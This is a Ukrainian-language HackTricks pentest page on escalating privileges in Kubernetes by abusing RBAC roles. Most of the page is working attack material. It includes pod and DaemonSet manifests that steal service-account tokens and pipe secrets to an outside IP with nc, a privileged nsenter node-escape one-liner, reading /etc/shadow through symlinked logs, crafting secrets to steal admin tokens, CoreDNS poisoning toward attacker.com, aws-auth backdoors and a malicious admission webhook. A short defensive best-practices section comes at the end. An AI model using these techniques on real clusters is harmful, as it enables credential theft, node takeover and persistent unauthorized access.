Зловживання Ролями/КластерРолями в Kubernetes
Reading time: 26 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Тут ви можете знайти деякі потенційно небезпечні конфігурації Ролей та КластерРолей.
Пам'ятайте, що ви можете отримати всі підтримувані ресурси за допомогою kubectl api-resources
Ескалація Привілеїв
Це мистецтво отримання доступу до іншого принципала в кластері з іншими привілеями (в межах кластеру kubernetes або до зовнішніх хмар), в Kubernetes є в основному 4 основні техніки для ескалації привілеїв:
- Мати можливість вдаватись в інших користувачів/груп/SA з кращими привілеями в межах кластеру kubernetes або до зовнішніх хмар
- Мати можливість створювати/редагувати/виконувати поди, де ви можете знайти або приєднати SA з кращими привілеями в межах кластеру kubernetes або до зовнішніх хмар
- Мати можливість читати секрети, оскільки токени SA зберігаються як секрети
- Мати можливість втекти на вузол з контейнера, де ви можете вкрасти всі секрети контейнерів, що працюють на вузлі, облікові дані вузла та дозволи вузла в межах хмари, в якій він працює (якщо є)
- П'ята техніка, яка заслуговує на згадку, це можливість запускати port-forward в поді, оскільки ви можете отримати доступ до цікавих ресурсів у цьому поді.
Доступ до Будь-якого Ресурсу або Дії (Wildcard)
Джокер (*) надає дозвіл на будь-який ресурс з будь-якою дією. Його використовують адміністратори. Усередині КластерРолі це означає, що зловмисник може зловживати будь-яким простором імен у кластері.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Доступ до будь-якого ресурсу з певним дієсловом
У RBAC певні дозволи становлять значні ризики:
create
: Надає можливість створювати будь-який ресурс кластера, що ризикує ескалацією привілеїв.list
: Дозволяє перераховувати всі ресурси, потенційно витікаючи чутливі дані.get
: Дозволяє доступ до секретів з облікових записів служб, що становить загрозу безпеці.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
Pod Create - Steal Token
Атакуючий з правами на створення пода може прикріпити привілейований обліковий запис служби до пода та вкрасти токен для імітації облікового запису служби. Фактично підвищуючи привілеї до нього.
Приклад пода, який вкраде токен облікового запису служби bootstrap-signer
і надішле його атакуючому:
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
Pod Create & Escape
Наступне вказує на всі привілеї, які може мати контейнер:
- Привілейований доступ (вимкнення захистів і налаштування можливостей)
- Вимкнення простору імен hostIPC та hostPid, що може допомогти підвищити привілеї
- Вимкнення простору імен hostNetwork, що надає доступ для крадіжки привілеїв вузлів у хмарі та кращого доступу до мереж
- Монтування хостів / всередині контейнера
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
Створіть под з:
kubectl --token $token create -f mount_root.yaml
Однорядковий код з цього твітту та з деякими доповненнями:
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
Тепер, коли ви можете втекти до вузла, перевірте техніки пост-експлуатації в:
Схованість
Ви, напевно, хочете бути схованішими, на наступних сторінках ви можете побачити, до чого ви зможете отримати доступ, якщо створите под, активувавши лише деякі з вказаних привілеїв у попередньому шаблоні:
- Привілейований + hostPID
- Тільки привілейований
- hostPath
- hostPID
- hostNetwork
- hostIPC
Ви можете знайти приклад того, як створити/зловживати попередніми конфігураціями привілейованих подів у https://github.com/BishopFox/badPods
Створення пода - Перехід до хмари
Якщо ви можете створити под (і, за бажанням, обліковий запис служби), ви можете отримати привілеї в хмарному середовищі, призначивши хмарні ролі поду або обліковому запису служби і потім отримавши до нього доступ.
Більше того, якщо ви можете створити под з простором імен мережі хоста, ви можете вкрасти IAM роль вузла екземпляра.
Для отримання додаткової інформації перевірте:
Створення/Патч Деплойментів, Деймонсетів, Станових наборів, Контролерів реплікації, Реплікаційних наборів, Завдань та Кронзавдань
Можливо зловживати цими дозволами, щоб створити новий под і отримати привілеї, як у попередньому прикладі.
Наступний yaml створює деймонсет і ексфільтрує токен SA всередині пода:
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
Pods Exec
pods/exec
- це ресурс у kubernetes, який використовується для виконання команд у оболонці всередині пода. Це дозволяє виконувати команди всередині контейнерів або отримати оболонку всередині.
Отже, можливо потрапити всередину пода і вкрасти токен SA, або увійти в привілейований под, втекти на вузол і вкрасти всі токени подів на вузлі та (зловживати) вузлом:
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
note
За замовчуванням команда виконується в першому контейнері пода. Отримайте всі контейнери в поді за допомогою kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'
, а потім вкажіть контейнер, в якому ви хочете його виконати, за допомогою kubectl exec -it <pod_name> -c <container_name> -- sh
Якщо це контейнер без дистрибутиву, ви можете спробувати використовувати вбудовані команди оболонки для отримання інформації про контейнери або завантажити свої власні інструменти, такі як busybox, використовуючи: kubectl cp </path/local/file> <podname>:</path/in/container>
.
port-forward
Ця дозволяє перенаправити один локальний порт на один порт у вказаному поді. Це призначено для того, щоб легко налагоджувати програми, що працюють всередині пода, але зловмисник може зловживати цим, щоб отримати доступ до цікавих (наприклад, БД) або вразливих додатків (веб?) всередині пода:
kubectl port-forward pod/mypod 5000:5000
Hosts Writable /var/log/ Escape
Як вказано в цьому дослідженні, якщо ви можете отримати доступ або створити под з підключеним каталогом /var/log/
на ньому, ви можете втекти з контейнера.
Це в основному тому, що коли Kube-API намагається отримати логи контейнера (використовуючи kubectl logs <pod>
), він запитує файл 0.log
пода, використовуючи кінцеву точку /logs/
служби Kubelet.
Служба Kubelet відкриває кінцеву точку /logs/
, яка в основному відкриває файлову систему /var/log
контейнера.
Отже, зловмисник з доступом на запис у папку /var/log/ контейнера може зловживати цією поведінкою двома способами:
- Модифікуючи файл
0.log
свого контейнера (зазвичай розташований у/var/logs/pods/namespace_pod_uid/container/0.log
), щоб він був символічним посиланням на/etc/shadow
, наприклад. Тоді ви зможете ексфільтрувати файл тіней хостів, виконавши:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
- Якщо зловмисник контролює будь-який принципал з дозволами на читання
nodes/log
, він може просто створити symlink в/host-mounted/var/log/sym
на/
і, коли доступаючи доhttps://<gateway>:10250/logs/sym/
, він отримає список кореневої файлової системи хосту (зміна symlink може надати доступ до файлів).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]
Лабораторія та автоматизований експлойт можна знайти за https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
Обхід захисту readOnly
Якщо вам пощастить, і високо привілейована можливість CAP_SYS_ADMIN
доступна, ви можете просто змонтувати папку знову як rw:
mount -o rw,remount /hostlogs/
Обхід захисту hostPath readOnly
Як зазначено в цьому дослідженні, можливо обійти захист:
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
Який мав на меті запобігти втечам, подібним до попередніх, шляхом використання не hostPath mount, а PersistentVolume та PersistentVolumeClaim для монтування папки хоста в контейнер з правами на запис:
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
Імітація привілейованих облікових записів
З привілеєм імітації користувача зловмисник може імітувати привілейований обліковий запис.
Просто використовуйте параметр --as=<username>
в команді kubectl
, щоб імітувати користувача, або --as-group=<group>
, щоб імітувати групу:
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
Або використовуйте REST API:
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Listing Secrets
Дозвіл на перегляд секретів може дозволити зловмиснику фактично прочитати секрети, отримуючи доступ до REST API кінцевої точки:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Створення та читання секретів
Існує особливий вид секрету Kubernetes типу kubernetes.io/service-account-token, який зберігає токени облікових записів сервісів. Якщо у вас є дозволи на створення та читання секретів, і ви також знаєте ім'я облікового запису сервісу, ви можете створити секрет наступним чином, а потім вкрасти токен облікового запису сервісу жертви з нього:
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
Приклад експлуатації:
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
Зверніть увагу, що якщо вам дозволено створювати та читати секрети в певному просторі імен, обліковий запис служби жертви також повинен бути в тому ж просторі імен.
Читання секрету – брутфорсинг ID токенів
Хоча зловмисник, що має токен з правами на читання, потребує точну назву секрету для його використання, на відміну від ширшого привілею переліку секретів, все ще існують вразливості. За замовчуванням облікові записи служб у системі можуть бути перераховані, кожен з яких пов'язаний з секретом. Ці секрети мають структуру назви: статичний префікс, за яким слідує випадковий п'ятисимвольний алфавітно-цифровий токен (за винятком певних символів) відповідно до джерела коду.
Токен генерується з обмеженого набору з 27 символів (bcdfghjklmnpqrstvwxz2456789
), а не з повного алфавітно-цифрового діапазону. Це обмеження зменшує загальну кількість можливих комбінацій до 14,348,907 (27^5). Відповідно, зловмисник може здійснити брутфорс-атаку, щоб вивести токен за кілька годин, що потенційно призведе до ескалації привілеїв шляхом доступу до чутливих облікових записів служб.
EncrpytionConfiguration у відкритому тексті
Можливо знайти ключі у відкритому тексті для шифрування даних у спокої в цьому типі об'єкта, таких як:
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
#
# CAUTION: this is an example configuration.
# Do not use this for your own cluster!
#
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
Запити на підписання сертифікатів
Якщо у вас є дієслово create
в ресурсі certificatesigningrequests
(або принаймні в certificatesigningrequests/nodeClient
). Ви можете створити новий CeSR для нового вузла.
Згідно з документацією, можливо автоматично схвалити ці запити, тому в цьому випадку вам не потрібні додаткові дозволи. Якщо ні, вам потрібно буде мати можливість схвалити запит, що означає оновлення в certificatesigningrequests/approval
та approve
в signers
з resourceName <signerNameDomain>/<signerNamePath>
або <signerNameDomain>/*
Приклад ролі з усіма необхідними дозволами:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
Отже, з новим затвердженим CSR вузла ви можете зловживати спеціальними правами вузлів, щоб викрасти секрети та підвищити привілеї.
У цьому пості та цьому конфігурація GKE K8s TLS Bootstrap налаштована з автоматичним підписанням, і це зловживається для генерації облікових даних нового вузла K8s, а потім ці облікові дані зловживаються для підвищення привілеїв шляхом викрадення секретів.
Якщо ви маєте згадані привілеї, ви могли б зробити те ж саме. Зверніть увагу, що перший приклад обминає помилку, яка заважає новому вузлу отримувати доступ до секретів всередині контейнерів, оскільки вузол може отримувати доступ лише до секретів контейнерів, змонтованих на ньому.
Спосіб обійти це - просто створити облікові дані вузла для імені вузла, де змонтовано контейнер з цікавими секретами (але просто перевірте, як це зробити в першому пості):
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
AWS EKS aws-auth configmaps
Принципали, які можуть змінювати configmaps
в просторі імен kube-system на кластерах EKS (потрібно бути в AWS), можуть отримати привілеї адміністратора кластера, перезаписуючи aws-auth configmap.
Необхідні дієслова: update
та patch
, або create
, якщо configmap не був створений:
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns
# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
warning
Ви можете використовувати aws-auth
для постійного доступу до користувачів з інших облікових записів.
Однак, aws --profile other_account eks update-kubeconfig --name <cluster-name>
не працює з іншого облікового запису. Але насправді aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing
працює, якщо ви введете ARN кластера замість просто назви.
Щоб kubectl
працював, просто переконайтеся, що налаштували kubeconfig жертви і в аргументах exec aws додайте --profile other_account_role
, щоб kubectl використовував профіль іншого облікового запису для отримання токена та зв'язку з AWS.
CoreDNS config map
Якщо у вас є дозволи на зміну coredns
configmap в просторі імен kube-system
, ви можете змінити адреси, до яких будуть розв'язуватись домени, щоб мати можливість виконувати атаки MitM для викрадення чутливої інформації або впровадження шкідливого контенту.
Необхідні дієслова - update
та patch
над coredns
configmap (або всіма config maps).
Звичайний файл coredns містить щось на зразок цього:
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
Атакуючий може завантажити його, запустивши kubectl get configmap coredns -n kube-system -o yaml
, змінити його, додавши щось на кшталт rewrite name victim.com attacker.com
, так що щоразу, коли доступ до victim.com
, насправді буде доступ до домену attacker.com
. А потім застосувати це, запустивши kubectl apply -f poison_dns.yaml
.
Інший варіант - просто відредагувати файл, запустивши kubectl edit configmap coredns -n kube-system
і внести зміни.
Ескалація в GKE
Є 2 способи призначити K8s дозволи GCP принципалам. У будь-якому випадку принципал також потребує дозволу container.clusters.get
, щоб мати можливість отримати облікові дані для доступу до кластера, або вам потрібно буде згенерувати свій власний файл конфігурації kubectl (перейдіть за наступним посиланням).
warning
Коли ви звертаєтеся до K8s api endpoint, GCP auth token буде надіслано. Потім GCP, через K8s api endpoint, спочатку перевірить, чи має принципал (за електронною поштою) будь-який доступ всередині кластера, потім перевірить, чи має він будь-який доступ через GCP IAM.
Якщо будь-який з цих пунктів істинний, він отримає відповідь. Якщо ні, буде надана помилка, що пропонує надати дозволи через GCP IAM.
Отже, перший метод - це використання GCP IAM, дозволи K8s мають свої еквівалентні дозволи GCP IAM, і якщо принципал їх має, він зможе їх використовувати.
Другий метод - це призначення K8s дозволів всередині кластера шляхом ідентифікації користувача за його електронною поштою (включаючи облікові записи служб GCP).
Створення токена serviceaccounts
Принципали, які можуть створювати TokenRequests (serviceaccounts/token
) при зверненні до K8s api endpoint SAs (інформація з тут).
ephemeralcontainers
Принципали, які можуть update
або patch
pods/ephemeralcontainers
, можуть отримати виконання коду на інших подах, і потенційно вийти на свій вузол, додавши епhemeral контейнер з привілейованим securityContext.
ValidatingWebhookConfigurations або MutatingWebhookConfigurations
Принципали з будь-якими з дієслів create
, update
або patch
над validatingwebhookconfigurations
або mutatingwebhookconfigurations
можуть бути здатні створити одну з таких webhookconfigurations, щоб мати можливість ескалації привілеїв.
Для mutatingwebhookconfigurations
прикладу перевірте цей розділ цього посту.
Ескалація
Як ви можете прочитати в наступному розділі: Вбудоване запобігання ескалації привілеїв, принципал не може оновлювати або створювати ролі чи кластерні ролі, не маючи самих цих нових дозволів. За винятком випадків, якщо він має дієслово escalate
або *
над roles
або clusterroles
та відповідні параметри зв'язування.
Тоді він може оновлювати/створювати нові ролі, кластерні ролі з кращими дозволами, ніж ті, що він має.
Проксі вузлів
Принципали з доступом до підресурсу nodes/proxy
можуть виконувати код на подах через Kubelet API (згідно з цим). Більше інформації про аутентифікацію Kubelet на цій сторінці:
Kubelet Authentication & Authorization
У вас є приклад того, як отримати RCE, спілкуючись з авторизованим Kubelet API тут.
Видалення подів + незаплановані вузли
Принципали, які можуть видаляти поди (delete
дієслово над ресурсом pods
), або виселяти поди (create
дієслово над ресурсом pods/eviction
), або змінювати статус пода (доступ до pods/status
) і можуть зробити інші вузли незапланованими (доступ до nodes/status
) або видаляти вузли (delete
дієслово над ресурсом nodes
) і мають контроль над подом, можуть вкрасти поди з інших вузлів, щоб вони виконувалися на зламаному вузлі, і атакуючий може вкрасти токени з цих подів.
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}
while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack
kubectl delete pods -n kube-system <privileged_pod_name>
Стан сервісів (CVE-2020-8554)
Принципали, які можуть модифікувати services/status
, можуть встановити поле status.loadBalancer.ingress.ip
, щоб експлуатувати неусунуту CVE-2020-8554 та запускати MiTM атаки проти кластера. Більшість заходів щодо пом'якшення CVE-2020-8554 лише запобігають сервісам з ExternalIP (згідно з цим).
Стан вузлів і подів
Принципали з update
або patch
дозволами над nodes/status
або pods/status
можуть модифікувати мітки, щоб вплинути на обмеження планування.
Вбудоване запобігання ескалації привілеїв
Kubernetes має вбудований механізм для запобігання ескалації привілеїв.
Ця система забезпечує, що користувачі не можуть підвищити свої привілеї, модифікуючи ролі або прив'язки ролей. Виконання цього правила відбувається на рівні API, забезпечуючи захист навіть коли авторизатор RBAC неактивний.
Правило stipulates, що користувач може створювати або оновлювати роль лише якщо він має всі дозволи, які містить роль. Більше того, обсяг існуючих дозволів користувача повинен відповідати обсягу ролі, яку він намагається створити або модифікувати: або на рівні кластера для ClusterRoles, або обмежений тим самим простором імен (або на рівні кластера) для Roles.
warning
Існує виняток з попереднього правила. Якщо принципал має дію escalate
над roles
або clusterroles
, він може підвищити привілеї ролей і кластерних ролей, навіть не маючи самих дозволів.
Отримати та модифікувати RoleBindings/ClusterRoleBindings
caution
Очевидно, ця техніка працювала раніше, але згідно з моїми тестами, вона більше не працює з тієї ж причини, що й у попередньому розділі. Ви не можете створити/модифікувати прив'язку ролі, щоб надати собі або іншому SA деякі привілеї, якщо у вас їх вже немає.
Привілей створювати Rolebindings дозволяє користувачу прив'язувати ролі до облікового запису служби. Цей привілей може потенційно призвести до ескалації привілеїв, оскільки дозволяє користувачу прив'язувати адміністративні привілеї до скомпрометованого облікового запису служби.
Інші атаки
Додаток проксі-сайдкара
За замовчуванням у комунікації між подами немає жодного шифрування. Взаємна аутентифікація, двостороння, под до пода.
Створити додаток проксі-сайдкара
Контейнер-сайдкар складається просто з додавання другого (або більше) контейнера всередині пода.
Наприклад, наступне є частиною конфігурації пода з 2 контейнерами:
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
Наприклад, щоб створити бекдор для існуючого пода з новим контейнером, ви можете просто додати новий контейнер у специфікацію. Зверніть увагу, що ви можете надати більше прав другому контейнеру, яких не буде у першого.
Більше інформації на: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
Зловмисний контролер доступу
Контролер доступу перехоплює запити до API-сервера Kubernetes перед збереженням об'єкта, але після того, як запит аутентифіковано та авторизовано.
Якщо зловмиснику вдасться впровадити контролер доступу для мутації, він зможе модифікувати вже аутентифіковані запити. Це може дозволити потенційно підвищити привілеї, а також зазвичай зберігатися в кластері.
Приклад з https://blog.rewanthtammana.com/creating-malicious-admission-controllers:
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
Перевірте статус, щоб дізнатися, чи готовий він:
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
Тоді розгорніть новий pod:
kubectl run nginx --image nginx
kubectl get po -w
Коли ви бачите помилку ErrImagePull
, перевірте ім'я зображення за допомогою одного з запитів:
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
Як ви можете бачити на зображенні вище, ми намагалися запустити образ nginx
, але в кінцевому підсумку виконаний образ - rewanthtammana/malicious-image
. Що тільки що сталося!!?
Технічні деталі
Скрипт ./deploy.sh
встановлює контролер доступу до вебхуків, який модифікує запити до API Kubernetes відповідно до його конфігураційних рядків, впливаючи на спостережувані результати:
patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
Вищенаведений фрагмент замінює перше зображення контейнера в кожному поді на rewanthtammana/malicious-image
.
OPA Gatekeeper обход
Kubernetes OPA Gatekeeper bypass
Найкращі практики
Вимкнення автоматичного монтування токенів облікових записів служби
- Поди та облікові записи служби: За замовчуванням, поди монтують токен облікового запису служби. Для підвищення безпеки Kubernetes дозволяє вимкнути цю функцію автоматичного монтування.
- Як застосувати: Встановіть
automountServiceAccountToken: false
у конфігурації облікових записів служби або подів, починаючи з версії Kubernetes 1.6.
Обмежене призначення користувачів у RoleBindings/ClusterRoleBindings
- Селективне включення: Переконайтеся, що лише необхідні користувачі включені в RoleBindings або ClusterRoleBindings. Регулярно перевіряйте та видаляйте нерелевантних користувачів для підтримки високої безпеки.
Ролі, специфічні для простору імен, замість ролей для кластера
- Ролі проти ClusterRoles: Віддавайте перевагу використанню Roles і RoleBindings для дозволів, специфічних для простору імен, замість ClusterRoles і ClusterRoleBindings, які застосовуються на рівні кластера. Цей підхід забезпечує більш точний контроль і обмежує обсяг дозволів.
Використовуйте автоматизовані інструменти
GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions
GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters
Посилання
- https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions
- https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
- https://blog.rewanthtammana.com/creating-malicious-admission-controllers
- https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html
- https://kubenomicon.com/
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
